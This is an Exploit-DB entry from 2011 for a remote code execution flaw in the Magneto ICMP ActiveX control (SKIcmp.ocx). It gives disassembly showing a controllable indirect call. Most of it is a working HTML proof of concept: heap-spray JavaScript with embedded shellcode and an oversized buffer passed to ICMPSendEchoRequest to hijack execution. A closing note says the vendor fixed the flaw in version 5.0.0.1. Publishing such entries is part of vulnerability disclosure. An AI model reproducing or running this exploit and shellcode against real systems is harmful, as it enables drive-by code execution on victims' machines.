Magneto ICMP ActiveX 4.0.0.20 - ICMPSendEchoRequest Remote Code Execute



EDB-ID: 17328 CVE: N/A OSVDB-ID: N/A
Author: boahat Published: 2011-05-27 Verified: Not Verified
Exploit Code:   Download Vulnerable App:    Download

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Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute
Date: 2011-5-27
Discovered by: boahat
vendor: 	http://www.magnetosoft.com/
Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe 

SKIcmp.ocx

Function ICMPSendEchoRequest (
 	ByVal bstrDestinationAddress  As String 
)  As Long

.text:1000F012                 mov     edx, [ebx+8]	// edx can be control
.text:1000F015                 lea     ecx, [esp+468h+String1]
.text:1000F019                 push    esi
.text:1000F01A                 push    ecx
.text:1000F01B                 call    edx		// bomb...

[POC]

<html>
<body>
<object classid="clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA" id="target"></object>
<script>
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var bigblock  = unescape("%u0c0c%u0c0c");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<500; x++)
        memory[x] = block + shellcode;
		
    var buffer = '';	
    while (buffer.length < 6000)
        buffer+="\x0c\x0c\x0c\x0c";
    target.ICMPSendEchoRequest(buffer);
</script>
</body>
</html>


# Exploit-DB Note:
# According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1.
# The latest version that contains the fix can be downloaded here:
# http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe